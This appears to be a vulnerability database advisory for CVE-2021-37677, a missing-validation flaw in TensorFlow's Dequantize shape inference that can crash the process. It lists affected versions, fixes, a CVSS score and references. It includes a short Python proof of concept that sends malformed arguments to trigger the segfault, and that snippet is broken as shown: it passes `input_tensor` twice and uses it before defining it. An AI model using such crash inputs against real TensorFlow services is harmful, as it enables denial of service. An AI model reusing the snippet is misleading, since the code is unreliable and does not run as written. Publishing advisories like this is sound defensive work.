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CVE-2021-37677: Missing validation in shape inference for `Dequantize`

August 25, 2021 (updated November 13, 2024)

The shape inference code for tf.raw_ops.Dequantize has a vulnerability that could trigger a denial of service via a segfault if an attacker provides invalid arguments:

import tensorflow as tf

tf.compat.v1.disable_v2_behavior()
tf.raw_ops.Dequantize(
input_tensor = tf.constant(-10.0, dtype=tf.float32),
input_tensor = tf.cast(input_tensor, dtype=tf.quint8),
min_range = tf.constant([], shape=[0], dtype=tf.float32),
max_range = tf.constant([], shape=[0], dtype=tf.float32),
mode  = 'MIN_COMBINED',
narrow_range=False,
axis=-10,
dtype=tf.dtypes.float32)

References

  • github.com/advisories/GHSA-qfpc-5pjr-mh26
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-590.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-788.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-299.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/da857cfa0fde8f79ad0afdbc94e88b5d4bbec764
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-qfpc-5pjr-mh26
  • nvd.nist.gov/vuln/detail/CVE-2021-37677

Code Behaviors & Features

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Affected versions

All versions before 2.3.4, all versions starting from 2.4.0 before 2.4.3, all versions starting from 2.5.0 before 2.5.1, version 2.5.0

Fixed versions

  • 2.3.4
  • 2.4.3
  • 2.5.1

Solution

Upgrade to versions 2.3.4, 2.4.3, 2.5.1 or above.

Impact 5.5 MEDIUM

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-1284: Improper Validation of Specified Quantity in Input
  • CWE-20: Improper Input Validation

Source file

pypi/tensorflow-cpu/CVE-2021-37677.yml

Spotted a mistake? Edit the file on GitLab.

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